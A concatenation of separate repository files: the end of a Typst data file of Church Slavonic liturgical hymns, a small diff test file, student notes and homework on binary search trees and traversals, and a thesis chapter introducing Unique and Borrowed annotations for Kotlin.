("Bohoródičen","","Prečístaja Vladýčica, sohrišájuščym predstáteľnica, pádajuščym božéstvennoje ispravlénije, jáko Bóha róždšaja slávitsja."),
),
"2": (
("","","Božéstvennoje tvojé razumív istoščánije, prozorlívo Avvakúm, Christé so trépetom vopijáše tebí: vo spasénije ľudéj tvojích, spastí pomázannyja tvojá prišél jesí."),
("","","Vo výšneje vselílsja jesí cárstvo, jáko vóin ístinen carjá Christá, Krestíteľu: tohó molí neprestánno, ľúdi uščédriti čtúščyja ťá."),
("","","Osvjátí iz ložésn ťá Hospóď, províďaj blahodárstvo tvojehó sérdca, blažénne: tohó molí vsích nás osvjatíti, mólimsja."),
("","","Mértvym blahovistíl jesí prišéstvije umerščvlénaho nás rádi: tohó molí Predtéče, umerščvlénaho i mené hrichmí oživíti, i spastí mja."),
("Bohoródičen","","Pomíluj mjá jedína preneporóčnaja, jáže mílostivaho Bóha premnóhoju blahostiju neskazánno róždšaja, i izbávi víčnyja múki."),
),
),
"P5": (
"1": (
("","","Okajánnuju dúšu mojú, noščeborjúščujusja so ťmóju strastéj, predvarív uščédri, i vozsijáj mýslennoje sólnce dnesvítlyja zvizdý vo mňí, vo jéže razďilíti nóšč ot svíta."),
("","","Ot ďíl ňísť mňí spasénija, mnóho bo na zemlí okajánnyj sohriších, i trepéšču strášnaho sudíšča tvojehó, jehdá osudíti chóščeši Bóže, prestúpniki tvojích zápovidej."),
("","","Káko bezúmen bých? Káko omračíchsja tvorjá ďilá zlája? Káko ne razumích strácha tvojehó Christé? V zémľu ponikóch, i upodóbichsja skotóm bezslovésnym: no obratí mja Bóže vsjáčeskich."),
("Múčeničen","","Óblak múčenik razhná óblaki hórkich múk: i ozaríša déň ístinnaho rázuma, i mnohobóžija mhlú razrušíša, i k nezachodímomu svítu dostihóša."),
("Múčeničen","","Osvjatí úm mój moľbámi svjatých múčenik tvojích Christé, moľúsja, i pokaží prosviščénija ispólnena, i víčňij slávi pričástnika, da slávja pojú ťa Spáse."),
("Bohoródičen","","Bóha neizrečénnym slóvom, Ďívo Máti rodilá jesí nám, vsím pokajánije dajúšča mnohosohrišívšym, chodátajstvom tvojím blahím, pribížišče vírnym i pristánišče."),
),
"2": (
("","","Oďijájsja svítom jáko rízoju, k tebí útreňuju, i tebí zovú: dúšu mojú prosvití omračénnuju Christé, jáko jedín blahoutróben."),
("","","Porodí neplódnaja utróba ťá Predtéče, neplódnaja ot dóbrych ďijánij serdcá, blahočádnaja pokazújuščaja, blahoplódnymi tvojími slovesý: ťímže ťá ublažájem."),
("","","Procvíl jesí jáko blahouchánnyj krín, prisnoblážénne v pustýňach. Ťímže vopijú ti: duší mojejá Predtéče, vsjáko zlosmrádije zlóby otžení."),
("","","Zakóna posreďí stál jesí, premúdre, i blahodáti. Ťímže vzyváju: pobiždájema mjá hrichóvnym Predtéče, zakónom uščédri, okajánňi bídstvujuščaho."),
("Bohoródičen","","Vratá neprochodímaja slávy prečístaja, otvérzi mí vratá pokajánija, chodátajstvujuščaja mí božéstvennyja vchódy, i támošňaho pokóišča."),
),
),
"P6": (
"1": (
("","","Jákože proróka ot zvírja izbávil jesí Hóspodi, i mené iz hlubiný nesoderžímych strastéj vozvedí, moľúsja, da priložú prizríti mí k chrámu svjatómu tvojemú."),
("","","Sé vrémja obraščénija, i áz nizležú vznák prísno, nečúvstvijem mnóhim vsehdá soderžím: omračénije sérdca mojehó Slóve, razrišív uščédri mjá."),
("","","Steňášča mjá, jákože inohdá mytarjá uščédri, blahoutróbne Christé. I jákože bludnícu tépľi slezíti spodóbi: da otmýju i áz timínije mnóhich mojích prehrišénij."),
("Múčeničen","","Velikomúčenicy Christóvy, veľmí sohrišívšaho, velíkaho plámene íže v hejénňi, támo ožidájuščaho mjá ischitíte, da veľmí i áz vášu pámjať slávľu vsehdá."),
("Múčeničen","","Podvizávšesja dóbri, svítlo vinčášasja tvoí stradáľcy, živonačáľnoju desníceju tvojéju, Bóže i Hóspodi: sích čéstnými moľbámi spasí vsjá ľúdi tvojá."),
("Bohoródičen","","Bohorádovannaja síne osvjaščénija, čéstnýj kovčéže, svitíľniče božéstvennaho svíta, chľíba živótnaho trapézo, slóva paláto oduševlénnaja, chrám mjá Dúchu pokaží."),
),
"2": (
("","","Neístovstvujuščejesja búreju dušetľínnoju, Vladýko Christé, strastéj móre ukrotí, i ot tlí vozvedí mja, jáko blahoutróben."),
("","","Neizrečénnymi lučámi sijája, Predtéče Christóv, ďíteľnoju molítvoju tvojéju ozarjáj serdcá, blahočéstno chváľaščich ťá."),
("","","Ľinostnym snóm oderžíma mjá, Predtéče Christóv ozarív blahodátiju, vozdvíhni usérdno božéstvennaja tvoríti choťínija."),
("","","Ot vsjákija skórbi soprotívnyja izbávi nás, predstáteľa božéstvennaho ťá sťažávšich i molítvennika ko Vladýci, blažénne."),
("Bohoródičen","","Búrja smuščájet mjá hrichóvnaja, Bohoródice prečístaja, potščísja izbáviti mjá, vvoďášči k pristánišču pokajánija, vseneporóčnaja."),
)
),
"P7": (
"1": (
("","","Ohňá hasílišče otrokóv molítva, orošájuščaja péšč propovídnica čudesé, ne opaľájušči, nižé sožihájušči pisnoslóvcy Bóha otéc nášich."),
("","","Bezzakónija mojá i neprávdy mojá, bezčíslennaja sohrišénija Christé prostí, i búduščija izbávi mjá múki, za mnóžestvo tvojích ščedrót, Bóže."),
("","","Jáko blúdnyj nýňi iždích bohátstvo, jéže prijách, i hládom táju, božéstvennaho brášna lišájem: kájuščasja Spáse, prijimí, i spasí mja."),
("Múčeničen","","Mértva soďílaste borjúščaho vrahá, udesý umerščvľájemi mnóhimi múkami, dostočúdniji Hospódni múčenicy: ťímže vírniji blahočéstno vospivájem vás."),
("Múčeničen","","Bisóvskija polkí, mučítelej vsé mnóžestvo, striľáňmi, múčenicy urániste, terpínijem že i dóblestiju, i k životú ístinnomu nýňi preložístesja."),
("Bohoródičen","","Pristánišče spasíteľnoje pokazásja vsím, čístaja, strastéj búrju utišájušči, i k tišiňí vsích privoďášči, Bohorodíteľnice čístaja, íže na zemlí smirénnyja."),
),
"2": (
("","","Prevoznosímyj otcév Hospóď, plámeň uhasí, ótroki orosí, sohlásno pojúščyja: Bóže, blahoslovén jesí."),
("","","Slovesý mólim ťá, íže slóva Predtéču, ótčij jákože razrišíl jesí hlás v roždéniji, razriší sítej nášich prehrišénija."),
("","","Sólnce mnohosvítloje, vozsijáj pokajánija mí spasíteľnoje sijánije: i ťmý mjá izbávi strastéj smuščájuščich pomračénnoje mojé sérdce."),
("","","Neplódnu dúšu sťažách, i sérdce bezčádno, neplódove božéstvennoje prozjabénije, plodý pokajánija prozjabáti mí Krestíteľu Christóv, molí neprestánno."),
("","","Rávna Rodíteľu Sýna slávim, i Dúcha svjatáho, Tróicu nerazďíľnu božéstvenňi pojúšče: Bóže, blahoslovén jesí."),
("Bohoródičen","","Mládo rodilá jesí otročá vseneporóčnaja, Christá, obnovlénije náše soďílovajuščaho, obetšávšich drévnim prestuplénijem."),
),
),
"P8": (
"1": (
("","","Ánhelov sónm, čelovíkov sobór, carjá i ziždíteľa vsích, svjaščénnicy pójte, blahoslovíte levíti, ľúdije prevoznosíte vo vsjá víki."),
("","","Sé vozsmerďíša i sohníša duší mojejá rány, Christé, i postradách i smiríchsja otňúd: ľičbámi pokajánija, Spáse, uvračúj mjá."),
("","","Ľstívno zmíj mjá lukávňijšij podukrád, zól ispólni, i vozdychája zovú: ne otríni mené Slóve, osuždénnaho i smirénnaho."),
("Múčeničen","","Ne uklonístesja lúčšaho stojánija, krestnyja že vrahí vsechváľniji, jáko zapjáti vám nepščevávšyja nizložíste, i do koncá premúdriji pobíždše."),
("Múčeničen","","Vás prechváľniji Hospódni múčenicy, ni óhň, ni méč, ni zvírije, ni hlád, ni kolés razdroblénije, nižé múka ína vozmóže razlučíti ot Christá čelovikoľúbca."),
("Bohoródičen","","Ánhelov pochvalá, i čelovíkov spasénije, i sporúčnica búdi mí Máti Bóžija: jáko da obraščúsja, i prijimú razrišénije préžde sohrišénnych, v víďiniji i ne vo víďiniji."),
),
"2": (
("","","Tebí vseďíteľu, v peščí ótrocy vsemírnyj lík splétše pojáchu: ďilá vsjákaja Hóspoda pójte, i prevoznosíte vo vsjá víki."),
("","","Sobór ľudéj strujámi Jordánskimi izmyváješi, propovíduja pokajánije velíkij Predtéče. Ťímže vopijú ti: strastéj mojích strujú izsuší, istóčniki mí sléz posylája."),
("","","Trepéščušči búdi vsjá, pomyšľájušči dušé sudíšče vsederžítelevo, vopijá: ščédre, krestíteľa tvojehó rádi, uščédri i spasí mja, i múk izbávi."),
("","","Ustňí nečísty i oskvernívšijsja jazýk dvížu tí na molénije, svjáte Predtéče: potščísja vskóri, pomozí mí, vsjákimi prilóhi lestcá neprestánno koléblemu."),
("Tróičen","","Odoždí nám Ótče, i Sýne, i Dúše, Tróice jedinosúščnaja, sohrišénij ostavlénije, jáko da polučívše soveršénnoje spasénije, ťá prevoznósim vo vsjá víki."),
("Bohoródičen","","Vozneslá jesí nás vysókim tvojím roždestvóm, ot róva padénij Bohorádovannaja: ťímže ťá hlásy blahodárnymi, víroju otrokovíce vospivájem vo vsjá víki."),
),
),
"P9": (
"1": (
("","","Jáko sotvorí tebí velíčija síľnyj, Ďívu jávľ ťá čístu po roždeství, jáko róždšuju bez símene svojehó tvorcá: ťím ťá Bohoródice veličájem."),
("","","Da tvojé veličáju dolhoterpínije Iisúse, dolhoterpí i ješčé na mňí, i ne posicý mené jákože neplódnuju smokóvnicu, vzyváju tí: jáko da pokajánija plodý prinesú tebí."),
("","","Kóľ strášen jesí, jedíne deržávnyj i síľnyj? I któ protívu postojít tvojemú strášnomu preščéniju, jehdá chóščeši na suďí sám siďíti? V némže mjá sobľudí neosuždénna."),
("Múčeničen","","Ťilésnyja boľízni boľízňmi božéstvennymi vášimi izymájete Hospódni stradáľcy: ťímže iscilíte duší mojejá strásti ľuťíjšyja, jáko súšče vráčeve iskúsňijšiji."),
("Múčeničen","","Sólnečnych lúč blistájet mnóžaje, vášich ráka moščéj, zarí božéstvennyja blahodáti: i prosviščájet serdcá, i ozarjájet dúšy, víroju strastotérpcy voschvaľájuščich vás."),
("Bohoródičen","","Svitovídnyj óblak, predvoďáščij nóvyja ľúdi k zemlí obitovánija, voístinnu Bohoblahodátnaja javílasja jesí, i vratá vvoďáščaja k žízni. Ťímže ťá Bohoródice veličájem."),
),
"2": (
("","","Isáije likúj, Ďíva imí vo črévi, i rodí Sýna Jemmanúila, Bóha že i čelovíka, vostók ímja jemú: jehóže veličájušče, Ďívu ublažájem."),
("","","Sé blahoľípije tvojehó chráma, jáko nébo poznavájetsja na zemlí, Predtéče Christóv, vóňže prichoďá zarjámi božéstvennymi osviščáješi, po vsjá dní ťá nýňi v ném blažáščyja."),
("","","Jáko sýj ískrennij Vladýci drúh krestíteľu, ľubíti mí jehó právym nrávom neuklónno, vseblažénne, ukripí, i strastéj tletvórnych vozhnušátisja porivájuščich mjá k pohíbeli."),
("","","Tý ne býl jesí trósť, protívnymi vítry premúdre koléblema, no náše božéstvennoje utverždénije, i nepokoléblemo cérkve ukriplénije: júže tvojími molítvami sobľudáj nepreklónnu, utoľája vsjákij soblázn."),
("","","Ziždítelevo pri dvérech prišéstvije: čtó úbo ne pláčeši sebé, okajánnaja dušé, živúšči v nebrežéniji? Vozníkni i vozopíj Hóspodevi: poščadí mja Spáse, moľbámi predtéči, jáko čelovikoľúbec."),
("Bohoródičen","","Svitonósnaja kolesníca sólnca javílasja jesí voístinnu, vozsijávšaho ot tvojéju vseneporóčnaja čístaja bokú, i razrúššaho prélesti ľútuju ťmú. Ťímže po dólhu ťá víroju ublažájem."),
),
),
),
"CH": (
("","","Mnóžestva prehrišéniji mojích prézri Hóspodi, íže ot Ďívy roždéjsja, i vsjá očísti bezzakónija mojá, mýsľ mí podajáj obraščénija, jáko jedín čelovikoľúbec, moľúsja: i pomíluj mjá."),
("","","Uvý mňí, komú upodóbichsja áz? Neplódňij smokóvnici, i bojúsja prokľátija s posičénijem: no nebésnyj ďílateľu Christé Bóže, oľadeňívšuju mojú dúšu plodonósnu pokaží, i jáko blúdnaho sýna prijimí mja, i pomíluj mjá."),
("Múčeničen","","Strástotérpcy tvoí Hóspodi, činóm ánheľskim podražátelije, jáko bezplótniji múki preterpíša, i jedinomýslenno upovánije imúšče, obiščánnych bláh naslaždénije: molítvami ích Christé Bóže, mír mírovi tvojemú dáruj, i dušám nášym véliju mílosť."),
("Bohoródičen","","Obrádovannaja, chodátajstvuj tvojími molítvami, i isprosí dušám nášym mnóžestvo ščedrót, i očiščénije mnóhich prehrišénij, mólimsja."),
),
)
#let L = (
"B": (
("","","Razbójnik na kresťí Bóha ťá býti vírovav Christé, ispovída ťá čísťi ot sérdca: pomjaní mja Hóspodi, vopijá, vo cárstviji tvojém."),
("","","Jákože opravdál jesí Christé bludnícu, plákavšujusja ot vsejá duší: tákožde i mené Vladýko, otčájavšahosja ot vsjákaho ischití bláže mučénija, moľúsja."),
("","","Predtékšaho Christú, i uhotóvavšaho putí blahíja, da ublažím Joánna sohlásno: jáko da tohó božéstvennymi molítvami ot prehrišénij izbávimsja."),
("Múčeničen","","Íže čášu Christóvu ispívše múčenicy usérdnoju dušéju, mútnych nás hrichóv i nedúhov, odoždéňmi božéstvennych molítv izbávite svjatíji."),
("Tróičen","","Nepostižímyj Bóže, vsesíľnaja Tróice i jedínice, molítvami Predtéči tvojehó spasí mja, izbavľájušči ťmý, i plámene predležáščaho mí."),
("Bohoródičen","","Vsehdá lukávymi Ďívo, ďijáňmi oskverňájem, ťá neskvérnuju Vladýki Máter moľú: skvérny mjá vsjákija očísti Vladýčice."),
),
)
|
|
https://github.com/goshakowska/Typstdiff | https://raw.githubusercontent.com/goshakowska/Typstdiff/main/tests/test_working_types/sub_script/sub_script_deleted.typ | typst | First
Normal text
Second#sub[second sub text] |
|
https://github.com/katamyra/Notes | https://raw.githubusercontent.com/katamyra/Notes/main/Compiled%20School%20Notes/CS1332/Modules/Trees.typ | typst | #import "../../..//template.typ": *
#import "@preview/syntree:0.2.0": syntree
= Trees
Trees are the first *non linear* data structure that we look at.
#note[
*Characteristics of Trees*
+ No cycles, so you can't reach a node using itself
+ Highly recursive
+ Usually implemented with linked lists rather than arrays (arrays get messy)
A tree is *full* if each node has exactly 0 or 2 kids, it cannot have just 1.
A tree is *complete* if each level except the last has the maximum number of nodes (2^n w/ root has n = 0)
- The last level must be filled left to right, but doesn't need to be full
A node is *balanced* if its children heights differ by only 0 or 1 (height of missing children = -1). Thus, a tree is *balanced* if all of its nodes are balanced.
- Leaf nodes are always balanced
]
#image("Images/ShapeProperties.png")
#theorem[
*Important Terminology*
*Root*: the head/entry point of the tree
*Children*: what the nodes point towards (can have multiple children, each node can only have one parent though)
*External/Leaf Nodes*: nodes without children
*Internal Nodes*: nodes with children
]
#definition[
The *depth* of a node is the distance of it from the root, or how many nodes away it is(?)
The *height* of a node is the distance of a node from the furthest leaf node
- $"height" = 1 + "max(height(children))"$
]
== Binary Trees
#note[
*Characteristics of Binary Trees*
- Shape: each node can have at most 2 children
- Children are labeled left and right (left precedes right)
]
#theorem[
*Iterating through a binary tree*
```java
public void traverse(Node node) {
if (node != null) {
traverse(node.left);
traverse(node.right);
}
}
```
]
== Binary Search Trees
#definition[
*Binary Search Trees* are Binary Trees with the given rule: any child node to its left must be less than that node, and any child note to the right must be greater than it. This applies for all children nodes, not just direct children.
The motivation behind BST's are the *binary search algorithm*, because we are able to split the search space in half each operation, making searching *O(logn)*.
]
=== Pre Order Traversal
#definition[
In *preorder traversal*, we look at each node and then traverse left, then right. If you draw a "glove" around the tree, you would print a node every time you touch the left side of the node
]
```
preorder (Node node):
if node is not null:
look at the data in node
recurse left
recurse right
```
#example[
#syntree(
nonterminal: (font: "Linux Biolinum"),
terminal: (fill: blue),
child-spacing: 3em, // default 1em
layer-spacing: 2em, // default 2.3em
"[13 [7 [5] [11]] [29 [19]]]"
)
In this case, our traversal would print _13 7 5 11 29 19_
]
=== Post Order Traversal
```
ppreorder (Node node):
if node is not null:
recurse left
recurse right
look at the data in node
```
#definition[
In *postorder traversal* we first recurse left and right before looking at the data in the node. So if you wrap around the tree like a glove, every time you reach the right side of a node, you print.
]
#example[
#syntree(
nonterminal: (font: "Linux Biolinum"),
terminal: (fill: blue),
child-spacing: 3em, // default 1em
layer-spacing: 2em, // default 2.3em
"[13 [7 [5] [11]] [29 [19]]]"
)
In this case, our traversal would print _5, 11, 7, 19, 29, 13_
]
=== In Order Traversal
#definition[
In *inorder traversal*, we first recurse left, then look at node, then recurse right. So if you wrap around the tree like a glove, every time you reach the bottom of a node you print it.
]
```
preorder (Node node):
if node is not null:
recurse left
look at the data in node
recurse right
```
#example[
#syntree(
nonterminal: (font: "Linux Biolinum"),
terminal: (fill: blue),
child-spacing: 3em, // default 1em
layer-spacing: 2em, // default 2.3em
"[13 [7 [5] [11]] [29 [19]]]"
)
In this case, our traversal would print _5, 7, 11, 13, 19, 29_
]
=== Level Order Traversals
#definition[
*Level Order Traversal*: print all the nodes at depth 0, then depth 1, then depth 2, etc
]
#example[
#syntree(
nonterminal: (font: "Linux Biolinum"),
terminal: (fill: blue),
child-spacing: 3em, // default 1em
layer-spacing: 2em, // default 2.3em
"[A [E [F] [R]] [B [VC] [C]]]"
)
In this example, we would print _A E B F VC C_ in that order
]
|
|
https://github.com/joshuabeny1999/unisg-thesis-template-typst | https://raw.githubusercontent.com/joshuabeny1999/unisg-thesis-template-typst/main/content/02_content.typ | typst | Other | = Heading 1
== Heading 2
=== Heading 3
==== Heading 4 |
https://github.com/lxl66566/my-college-files | https://raw.githubusercontent.com/lxl66566/my-college-files/main/信息科学与工程学院/算法导论/树.typ | typst | The Unlicense | #import "../template.typ": *
#import "@preview/algorithmic:0.1.0"
#import algorithmic: algorithm
#show: project.with(
title: "2",
authors: (
"absolutex",
)
)
= 2 树
// == 需要为数据库构建range index(区域索引)。该区域索引要求:(1)单次插入时间低于O(n),以满足Web程序的高负载特性;(2)能够快速获得index里的最大值、最小值,即这两个操作均需小于O(n)的计算复杂度。假如采用了习题2里的数据结构,请问插入的算法复杂度是
// $O(log n)$
// == 该区域索引要求:(1)单次插入时间低于O(n),以满足Web程序的高负载特性;(2)能够快速获得index里的最大值、最小值,即这两个操作均需小于O(n)的计算复杂度。假如采用了习题2里的数据结构,查找最小值的算法复杂度是
// $O(log n)$
// == 要求:(1)单次插入时间低于O(n),以满足Web程序的高负载特性;(2)能够快速获得index里的最大值、最小值,即这两个操作均需小于O(n)的计算复杂度。假如采用了习题2里的数据结构,查找最大值的算法复杂度是
// $O(log n)$
// == 针对前述数据库系统和range index,构建一个操作LIST(l, h),即给定l和h,l < h,返回range index中所有在l和h之间的key。显然这个操作无法在低于O(N)的复杂度内完成(思考这是为什么)。我们将LIST的复杂度定义为T(N) + O(L),这里的L=l-h。我们要求给出一种算法,使得T(N)是低于线性复杂度的,伪代码如下:...请问LCA函数的算法复杂度是?
// $O(log n)$
// == 针对前述数据库系统和range index,构建一个操作LIST(l, h),即给定l和h,l < h,返回range index中所有在l和h之间的key。显然这个操作无法在低于O(N)的复杂度内完成(思考这是为什么)。我们将LIST的复杂度定义为T(N) + O(L),这里的L=l-h。我们要求给出一种算法,使得T(N)是低于线性复杂度的,伪代码如下:...假设Node-List中Add-Key的执行时间是O(1),LIST返回l, h之间共计L个keys,请问Node-List函数在LIST函数被调用的次数是
// $O(log^2 N)$
// == 针对前述数据库系统和range index,构建一个操作LIST(l, h),即给定l和h,l < h,返回range index中所有在l和h之间的key。显然这个操作无法在低于O(N)的复杂度内完成(思考这是为什么)。我们将LIST的复杂度定义为T(N) + O(L),这里的L=l-h。我们要求给出一种算法,使得T(N)是低于线性复杂度的,伪代码如下:...假设ADD-KEY的执行时间是O(1),LIST返回L个keys,则LIST的算法复杂度是
// $O(log^2 N) + O(L)$
// == 需要构建一个数据系统。为了让数据库系统能高效存储和获取数据,需要为数据库构建range index(区域索引)。该区域索引要求:(1)单次插入时间低于O(n),以满足Web程序的高负载特性;(2)能够快速获得index里的最大值、最小值,即这两个操作均需小于O(n)的计算复杂度。试问下列哪一种或哪几种数据结构满足要求。
// BST, AVL Tree
== 12.1-4: 对于一棵有n个结点的树,请设计在O(n)时间内完成的先序遍历和后序遍历算法(注意:这里不一定是二叉树)
#algorithm({
import algorithmic: *
Function("PreorderTraversal", args: ("root",), {
Cmt[Perform pre-order traversal of the tree]
If(cond: "root is null", {
Return[]
})
Fn[Visit][root]
For(cond: "child in root.children", {
CallI[PreorderTraversal][child]
})
})
State[]
Function("PostorderTraversal", args:("root",), {
Cmt[Perform post-order traversal of the tree]
If(cond: "root is null", {
Return[]
})
For(cond: "child in root.children", {
CallI[PostorderTraversal][child]
})
Fn[Visit][root]
})
})
== 12.2-2 写出BST树查找最小值和最大值的伪代码(或是Python/C代码),并证明给出的算法复杂度在O(n)内。
#algorithm({
import algorithmic: *
Function("FindMin", args: ("root",), {
Cmt[Find the minimum value in a BST]
If(cond: "root is null", {
Return[*null*]
})
While(cond: "root.left is not null", {
Assign([root], [root.left])
})
Return(["root.value"])
})
State[]
Function("FindMax", args: ("root",), {
Cmt[Find the maximum value in a BST]
If(cond: "root is null", {
Return[*null*]
})
While(cond: "root.right is not null", {
Assign([root], [root.right])
})
Return([root.value])
})
})
#linebreak()
在最坏情况下,BST可能退化成一条链,此时树的高度为 n,其中 n 是节点的数量。因此,在最坏情况下,算法的时间复杂度是 $O(n)$。
因此算法时间复杂度在 $O(n)$ 内。
== 12.2-3 写出BST里查找前驱的伪代码,并证明给出的算法复杂度在O(n)内。这里前驱是指给定一个key,BST比key小的最大值。
#algorithm({
import algorithmic: *
Function("FindPredecessor", args: ("root", "key"), {
Cmt[Find the predecessor (maximum value smaller than key) in a BST]
State[]
Assign([predecessor], [*null*])
While(cond: "root is not null", {
If(cond: "root.value < key", {
Assign([predecessor], [root])
Assign([root], [root.right])
})
Else({
Assign([root], [root.left])
})
})
Return([predecessor.value])
})
})
#linebreak()
在最坏情况下,BST可能退化成一条链,此时树的高度为 n。在每一次迭代中,算法都会沿着树的高度移动一个节点。
因此,在最坏情况下,算法的时间复杂度是 $O(n)$。
== 针对前述数据库系统和range index(指单选题和多选题中的系统),构建一个操作LIST(l, h),即给定l和h,l < h,返回range index中所有在l和h之间的key。显然这个操作无法在低于O(N)的复杂度内完成(思考这是为什么)。我们将LIST的复杂度定义为T(N) + O(L),这里的L=l-h。我们要求给出一种算法,使得T(N)是低于线性复杂度的,伪代码如下
...
=== 说明为何LIST无法低于O(N)的时间复杂度完成。
LIST 操作需要返回范围索引中在给定范围 [l, h] 内的所有键。由于我们无法事先知道树中哪些节点的键位于指定的范围内,因此必须检查所有节点以确定它们是否在范围内。这就意味着算法需要访问树中的每个节点,因此其复杂度将是树中节点数量的线性函数,即 O(N)。
=== 说明上述的LCA的用处,即LCA返回的是什么?
LCA(Lowest Common Ancestor)的返回值是范围 [l, h] 中的最近公共祖先节点。最近公共祖先是指在给定的范围内,键值既大于等于 l 又小于等于 h 的最深的节点。
在 LIST 操作中,LCA 的作用是找到范围内的一个起始点,以便从该点开始进行进一步的节点检查。
=== 证明LCA算法的正确性,从而进一步证明LIST算法的正确性
1. LCA 返回的节点 lca 一定满足 $l <= "lca.key" <= h$。
2. LCA 返回的节点 lca 是范围 [l, h] 中的最近公共祖先。
3. LCA 算法的终止条件是 `node == NIL` 或 (`l <= node.key and h >= node.key`),确保 LCA 返回的节点一定在范围内
== 考虑平衡二叉树的概念。我们称高度为$O(lg(N))$的二叉树为平衡二叉树。请问,平衡二叉树每一个结点不是叶子就是拥有两个子结点的论断是否正确?若正确请证明,不正确请举反例。
不正确。
```
A
/ \
B C
/ \ \
D E F
```
这是一颗平衡二叉树,但 C 节点不是叶子节点,也不拥有两个子结点。
== 考虑平衡二叉树的概念。我们称高度$O(lg(N))$的二叉树为平衡二叉树。请问:若一棵树中的每一棵子树都包含$2^k-1$个结点,这里k是整数且对应不同的子树是不同的,那么这是否是一棵平衡二叉树?若是请证明,若不是,请举反例。(提示:使用数学归纳法证明)
1. 对于高度为 1 的树,只有一个根节点,显然 $2^1 - 1 = 1$,基础情况成立。
2. 假设对于任意高度为 $h$ 的子树,包含的节点数为 $2^h - 1$。考虑高度为 $h+1$ 的树的根节点有两个子节点,它们都是高度为 $h$ 的子树。根据归纳假设,每个子树包含 $2^h - 1$ 个节点,因此整个高度为 $h+1$ 的子树包含的节点数为 $2 times (2^h - 1) + 1 = 2^(h+1) - 2 + 1 = 2^(h+1) - 1$。
3. 由归纳法可知,对于任意高度 $h$,包含 $2^h - 1$ 个节点的子树都符合条件。因此,如果一棵树中的每一棵子树都包含 $2^k-1$ 个结点,其中 $k$ 是整数,那么这棵树是一棵平衡二叉树。
== 考虑平衡二叉树的概念。我们称高度$O(lg(N))$的二叉树为平衡二叉树。请问:对于一棵树,若存在一个常量$c$,对于这棵树中的任一结点,其左右子树的高度差至多为$c$,那么这是否是一棵平衡二叉树?若是请证明,若不是,请举反例。(提示:使用数学归纳法证明,通过证明满足题干条件的树,有$n(h)>=(1+alpha)^h-1$,从而得到h的高度不超过$O(lg N)$。注意高度差$c$在这里的应用。)
1. 对于高度为 1 的树,最小节点数为 1,而 $(1 + alpha)^1 - 1 = alpha$显然成立。
2. 假设对于任意高度为 $h$ 的树,最小节点数为 $n(h) >= (1 + alpha)^h - 1$。
3. 考虑高度为 $h+1$ 的树。根据题意,该树的任一结点的左右子树高度差至多为 $c$,因此可以将树拆分成一个根节点和两个子树,每个子树的高度至多为 $h$ 或 $h-1$。
最小节点数 $n(h+1)$ 为根节点的节点数加上两个子树的节点数之和。根据归纳假设,我们有:
$n(h+1) >= n(h) + (1 + alpha)^h - 1 + (1 + alpha)^(h-1) - 1$
... |
https://github.com/francescoo22/masters-thesis | https://raw.githubusercontent.com/francescoo22/masters-thesis/main/chapters/4-Annotations-Kotlin.typ | typst | #pagebreak(to:"odd")
= Uniqueness in Kotlin<cap:annotations-kt>
This chapter introduces a uniqueness system for Kotlin that takes inspiration from the systems described in @cap:control-alias-unique. The following subsections provide an overview of this system, with formal rules defined in @cap:annotation-system.
== Overview
The uniqueness system introduces two annotations, as shown in @kt-annotations. The `Unique` annotation can be applied to class properties, as well as function receivers, parameters, and return values. In contrast, the `Borrowed` annotation can only be used on function receivers and parameters. These are the only annotations the user needs to write, annotations for local variables are inferred.
Generally, a reference annotated with `Unique` is either `null` or the sole accessible reference to an object. Conversely, if a reference is not unique, there are no guarantees about how many accessible references exist to the object. Such references are referred to as shared.
The `Borrowed` annotation is similar to the one described by Boyland @boyland2001alias and also to the `Owned` annotation discussed by Zimmerman et al. @zimmerman2023latte. In this system, every function must ensure that no additional aliases are created for parameters annotated with `Borrowed`. Moreover, a distinguishing feature of this system is that borrowed parameters can either be unique or shared.
#figure(
caption: "Annotations for the Kotlin uniqueness system",
```kt
@Target(
AnnotationTarget.VALUE_PARAMETER,
AnnotationTarget.FUNCTION,
AnnotationTarget.PROPERTY
)
annotation class Unique
@Target(AnnotationTarget.VALUE_PARAMETER)
annotation class Borrowed
```
)<kt-annotations>
=== Function Annotations
The system allows annotating the receiver and parameters of a function as `Unique`. It is also possible to declare that a function's return value is unique by annotating the function itself. When a receiver or parameter is annotated with `Unique`, it imposes a restriction on the caller, that must pass a unique reference, and provides a guarantee to the callee, ensuring that it has a unique reference at the begin of its execution. Conversely, a return value annotated with `Unique` guarantees to the caller that the function will return a unique object and imposes a requirement on the callee to return a unique object.
Additionally, function parameters and receivers can be annotated as `Borrowed`. This imposes a restriction on the callee, which must ensure that no further aliases are created, and guarantees to the caller that passing a unique reference will preserve its uniqueness. On the other hand, if a unique reference is passed to a function without borrowing guarantees, the variable becomes inaccessible to the caller until it is reassigned.
#figure(
caption: "Uniqueness annotations usage on Kotlin functions",
```kt
class T()
fun consumeUnique(@Unique t: T) { /* ... */ }
@Unique
fun returnUniqueError(@Unique t: T): T {
consumeUnique(t) // uniqueness is lost
return t // error: 'returnUniqueError' must return a unique reference
}
fun borrowUnique(@Unique @Borrowed t: T) { /* ... */ }
fun borrowShared(@Borrowed t: T) { /* ... */ }
@Unique
fun returnUniqueCorrect(@Unique t: T): T {
borrowUnique(t) // uniqueness is preserved
borrowShared(t) // uniqueness is preserved
return t // ok
}
fun sharedToUnique(t: T) {
consumeUnique(t) // error: 'consumeUnique' expects a unique argument, but 't' is shared
}
```
)
=== Class Annotations
Classes can have their properties annotated as `Unique`. Annotations on properties define their uniqueness at the beginning of a method. However, despite the annotation, a property marked as `Unique` may still be accessible through multiple paths. For a property to be accessible through a single path, both the property and the object owning it must be annotated as `Unique`. This principle also applies recursively to nested properties, where the uniqueness of the entire chain of ownership is necessary to ensure single-path access.
For example, in @kt-uniqueness-class, even though the property `x` of the class `A` is annotated as `Unique`, `sharedA.x` is shared because `sharedA`, the owner of property `x`, is shared.
Moreover, properties with primitive types do not need to be annotated.
This is because, unlike objects, primitive types are copied rather than referenced, meaning that each variable holds its own independent value. Therefore, the concept of uniqueness, which is designed to manage the sharing and mutation of objects in memory, does not apply to primitive types. They are always unique in the sense that each instance operates independently, and there is no risk of aliasing or unintended side effects through shared references.
#figure(
caption: "Uniqueness annotations usage on Kotlin classes",
```kt
class T()
class A(
@property:Unique var x: T,
var y: T,
)
fun borrowUnique(@Unique @Borrowed t: T) {}
fun f(@Unique uniqueA: A, sharedA: A) {
borrowUnique(uniqueA.x) // ok: both 'uniqueA' and property 'x' are unique
borrowUnique(uniqueA.y) // error: 'uniqueA.y' is not unique since property 'y' is shared
borrowUnique(sharedA.x) // error: 'sharedA.x' is not unique since 'sharedA' is shared
}
```
